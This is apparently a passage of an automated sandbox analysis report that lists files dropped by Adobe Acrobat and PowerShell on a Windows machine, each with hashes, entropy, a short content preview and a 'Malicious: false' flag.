Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.293657696358887
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJfshHHrPeUkwRe9:YvXKXBwZuZc0vgVGUUUkee9
MD5:	FFC622311A4E198016B8CDD6D8C77927
SHA1:	A482C9E167373B53DFFA4E37CE66F202CF1DEEAC
SHA-256:	AC8674FF823AA7D7D01CF4AACCF6130B5891EF854299DB8FC25382D0FC3E212A
SHA-512:	2877D4AA6F59FA273F50006C1AD71C156C13E173B6F7EFF83F95AF87681E2AA2CE504D5EAD2131DF63BDB59D622823CC1651188C7F3233E649E11B0833551A5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.305316984762874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBwbd07WVoZcg1vRcR0YteoAvJTqgFCrPeUkwRe9:YvXKXBwZuZc0vgVGTq16Ukee9
MD5:	98F2D5E46D40DDB7FC5D5341BD30C95A
SHA1:	D6515D83ED0F1E1403B8A79FFCC3589FF65D4449
SHA-256:	B3E143564FFAE9D165DB5B0813B4551F8E8CFA116DA5948B3F37455F63F1AA8B
SHA-512:	55E0AE8F8AB5D13964BF47BD64DAE8025548ECF6F1DF21AC616B1E5439296D57D6CE98CD693272901373F271CA8B9C7557143A565791A72E8499097A7A7C0327
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6b5b3b32-4d77-4b1d-81ba-66e61c075873","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730619930,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.126769813519742
Encrypted:	false
SSDEEP:	24:YDaNYWayfmZ1iExbRm6CNzPKLj2XR9j0StkTCh2yFy2LSnCSDcChQmrL25F9RU/7:Ysu79m6CM2BR+TChFyRFDcCemr6b9RUz
MD5:	DE38E72324F96968930DE65F03934137
SHA1:	55E7E76C27A6771CCEBC1ECE2234A3DED1C78599
SHA-256:	2FF08A46BFA49C5A381B071F75062F928F0BB0A463DFC3DECC0976D1B3C424C1
SHA-512:	BE542B072A0C703676B21827FCAF920653C0137AA3D542275018359A54C022CB1DABFE5728AAA018AD2965D30C9BBF7F63A1704E7A1EB0F6228F5AFD1D70706F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5762c0afd0ca0ba5c68d597cf033d43f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557534000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"49866a3e6659ed5d0c32162c2caf7b37","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557534000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f0c659cb4e517cefc9e16bb10bc75194","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557534000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"87a1df46b731745dd0fab7cdfcc63460","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557534000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"165fe259fc3947efcf01035f82e5a63e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557534000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ef465b8a4790ab2bb6b3fd6062de97a0","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1891412341633412
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUrWSvR9H9vxFGiDIAEkGVvpfQ:lNVmswUUUUUUUU6+FGSIt8
MD5:	0273167FE19BFE73221E0E2210114B9A
SHA1:	70953C9F78A42EAF6D38A750AA4F1873269E61E5
SHA-256:	2C2590BEDDC25C3D37F37455B29203416FE464F9CCC9E884F939B180BF6274D0
SHA-512:	0CD749589D35D790A3A1BDEB288F5E1D50183995684DEB875C97D8113D4BDA400BAF2CC4EE411F3E4BF58B52E3E7FA75D4E34E4DC13688DB93DCA488E01E78C9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6086514921746788
Encrypted:	false
SSDEEP:	48:7MfKUUUUUUUUUUr0vR9H9vxFGiDIAEkGVveqFl2GL7msJ:7VUUUUUUUUUUwFGSItUKVmsJ
MD5:	AC343C4D705B2BF630FA0E67F2ABA179
SHA1:	573AC938A8A2B553BD5368C1715B2A8D79ACEA27
SHA-256:	B3A117E0AFED6C9CCBB242AC53384345244C1BD3ED5F577CC970D839CAD1291B
SHA-512:	BD0EF0F9FC01CFB66256D34F71DE6BCC1231FD5CAE114D651A99C2F5C0963BE2166BB3D9E4AEAB721F32D5867652CB4D3CF23D107E83A95922B8552DC97F6762
Malicious:	false
Preview:	.... .c........M......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZ93ERb9CrRiOxyntvaXPIWyGhYyu:6a6TZ44ADEZ93Yb9CtivW1hK
MD5:	1603B43544F7F2484104E2F3C0D431B6
SHA1:	EAE50A0119E851C9D93C32337BCC2C5223A38BCA
SHA-256:	C9827A90A7422EAF7B0C02A623FCC454E6402134DA35C01E168B96780F00B0D8
SHA-512:	6DA03427DB372C7909A81D51F3824A72D50FADAF098B6073EECBD85E93156F3D66C854FC8D9EA435882118843958DC94CE1C21E7572E5B0CCC987EEE94F6EFDD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIe59e0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClIlNWg:Qw946cPbiOxDlbYnuRK+bnWg
MD5:	B9A2C614F8AFB7F83BEB5D2E0026B180
SHA1:	67E4163A937884A640E00FECD4C15A253CE1AE61
SHA-256:	F23B6F0CDBD38B6C42C9F55BBD2965721D53F29B5F22249CE45177BBA150D175
SHA-512:	86604BD5D31A6E76FE364BAC188D794D548766136C6C99D3471C1CABDD3966E46AD64324600D1B56CFAE8744CA194B73D6725F3BEA3F436E8786FF411EB0CDC6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.5.:.3.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5aua0kxd.auq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_czboxenp.jwn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-05-29-799.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.334304648793249
Encrypted:	false
SSDEEP:	384:bCRAtAcAtA9A4AAeAUAbADASrkrlq9qRVqDICIsPaPk+N+N+O+F+YkPoPkPKPWI5:b6W9ucrdejOEL4pOyVaVRCsIsfa4gMyT
MD5:	5AA6C0D1A98311DA45EE64051D96F25F
SHA1:	E63E9A0EFF1E1BE5CC907E1C31325F6F788CE229
SHA-256:	170E685AD9538299CC3388C228A4AC8A1AA69E89A10EB9374A40DD78BC347ED6
SHA-512:	3621B1F235102E8A2BE9A7E6ED26A9B1C50764E1A9E95BA00FB4DF7A0E22C42490224F5EEF29A48BA1F03B63E4C4777148B01373F3174F09BE4BFE1386E83ACE
Malicious:	false
Preview:	SessionID=e08d1370-a676-4677-b306-5861014d3a7b.1736557529811 Timestamp=2025-01-10T20:05:29:811-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e08d1370-a676-4677-b306-5861014d3a7b.1736557529811 Timestamp=2025-01-10T20:05:29:817-0500 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e08d1370-a676-4677-b306-5861014d3a7b.1736557529811 Timestamp=2025-01-10T20:05:29:817-0500 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e08d1370-a676-4677-b306-5861014d3a7b.1736557529811 Timestamp=2025-01-10T20:05:29:817-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e08d1370-a676-4677-b306-5861014d3a7b.1736557529811 Timestamp=2025-01-10T20:05:29:817-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.385002332505581
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rM:D68m
MD5:	5A317E593888D4BE6CD63FC9B9E4F9AE
SHA1:	DA879B0A1C3F10B09E9DAB6F7CE4BB626FDAA431
SHA-256:	53A5459317B9D2E2DA5374EBB2E41B40BFC3D9255EE094127CA1F3807515F350
SHA-512:	E453026F07FEE8A1A43C8858C014BCD41CD7260ED0FD7D1CB6FC9B39CABB6D0B70DA07DC4ABB2C125DDC8DBBEC8FB90F7B08BCFA0FEF8CC159EA6C1B2636A43E
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\146826b1-21d7-410c-a4b0-f6c7384bbe91.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\32c63504-6fde-43b2-b361-adb9017a4d62.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\3fd0491f-e39d-4dba-97c5-cac36a8047ad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d17ab848-d4e6-4ddd-b980-8ddff5f8c312.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA 